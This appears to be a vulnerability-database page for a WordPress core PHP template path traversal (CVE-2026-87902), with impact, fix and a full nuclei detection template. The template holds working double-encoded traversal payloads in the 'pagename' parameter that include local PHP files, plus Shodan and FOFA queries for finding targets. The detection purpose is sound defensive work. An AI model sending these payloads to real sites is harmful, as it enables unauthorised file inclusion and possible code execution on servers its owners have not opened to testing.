HexBrain

Browse / CVEs / CVE-2026-87902

CVE-2026-87902· wordpress / wordpress· CWE-98

WordPress Core - PHP Template Path Traversal

Exploited in the wild. Listed by CISA on 2026-09-25; known to be used by ransomware.

criticalseverity
9.2CVSS score
95.8%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

An unauthenticated attacker can make `get_page_template()` page-template resolution include a chosen readable local `.php` file outside the active theme directories. If relevant pre-conditions for both the server and the active theme are met, this can lead to RCE.

Impact

An unauthenticated attacker can include local PHP files outside the active theme. Depending on the files present and the PHP configuration, this can disclose sensitive data or lead to arbitrary code execution.

Fix

Update WordPress to a patched maintenance release for the installed branch.

How to confirm it

Send: GET /wp-json/wp/v2/pages?per_page=1&_fields=id ; GET /?rest_route=/wp/v2/pages&per_page=1&_fields=id ; GET /
Positive when: regex("\"id\"\\s*:\\s*[0-9]+", body) || regex("(?:page_id=|page-id-|page-item-)[0-9]+", body) and status_code == 200
Send: POST /?page_id={{page_id}}&pagename=templates%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252Fwp-includes%252Ftheme-compat%252Ffooter ; POST /?page_id={{page_id}}&pagename=templates%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252Fwp-links-opml
Positive when: contains_all(body, "<div id=\"footer\" role=\"contentinfo\">", "having the \"powered by\" link somewhere on your blog") || contains_all(body, "opml version", "generator=\"WordPress") and status_code …

Run it with nuclei: nuclei -id CVE-2026-87902 -u <target>

The full check
id: CVE-2026-87902

info:
  name: WordPress Core - PHP Template Path Traversal
  author: Hadrian,FLX
  severity: critical
  description: |
    An unauthenticated attacker can make `get_page_template()` page-template resolution include a chosen readable local `.php` file outside the active theme directories. If relevant pre-conditions for both the server and the active theme are met, this can lead to RCE.
  impact: |
    An unauthenticated attacker can include local PHP files outside the active theme. Depending on the files present and the PHP configuration, this can disclose sensitive data or lead to arbitrary code execution.
  remediation: |
    Update WordPress to a patched maintenance release for the installed branch.
  reference:
    - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-7hp8-65ch-5whp
    - https://github.com/WordPress/WordPress/commit/fdeab470f4b4062462cf8ccdc788f258683c2d6f
    - https://hadrian.io/vulnerability-alerts/cve-2026-87902-working-poc-wordpress-critical-path-traversal
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
    cvss-score: 9.2
    cve-id: CVE-2026-87902
    epss-score: 0.95769
    epss-percentile: 0.99872
    cwe-id: CWE-98
  metadata:
    verified: true
    max-request: 6
    vendor: wordpress
    product: wordpress
    framework: wordpress
    shodan-query: http.component:"WordPress"
    fofa-query: app="WordPress"
  tags: cve,cve2026,wordpress,wp-core,lfi,unauth,vkev,kev

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-json/wp/v2/pages?per_page=1&_fields=id HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /?rest_route=/wp/v2/pages&per_page=1&_fields=id HTTP/1.1
        Host: {{Hostname}}

      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    redirects: false
    stop-at-first-match: true

    matchers:
      - type: dsl
        internal: true
        dsl:
          - 'regex("\"id\"\\s*:\\s*[0-9]+", body) || regex("(?:page_id=|page-id-|page-item-)[0-9]+", body)'
          - 'status_code == 200'
        condition: and

    extractors:
      - type: regex
        name: page_id
        part: body
        internal: true
        group: 1
        regex:
          - '"id"\s*:\s*([0-9]+)'
          - '(?:page_id=|page-id-|page-item-)([0-9]+)'

  - raw:
      - |
        POST /?page_id={{page_id}}&pagename=templates%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252Fwp-includes%252Ftheme-compat%252Ffooter HTTP/1.1
        Host: {{Hostname}}
        Content-Length: 0

      - |
        POST /?page_id={{page_id}}&pagename=templates%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252Fwp-links-opml HTTP/1.1
        Host: {{Hostname}}
        Content-Length: 0

    stop-at-first-match: true
    redirects: false

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "<div id=\"footer\" role=\"contentinfo\">", "having the \"powered by\" link somewhere on your blog") || contains_all(body, "opml version", "generator=\"WordPress")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from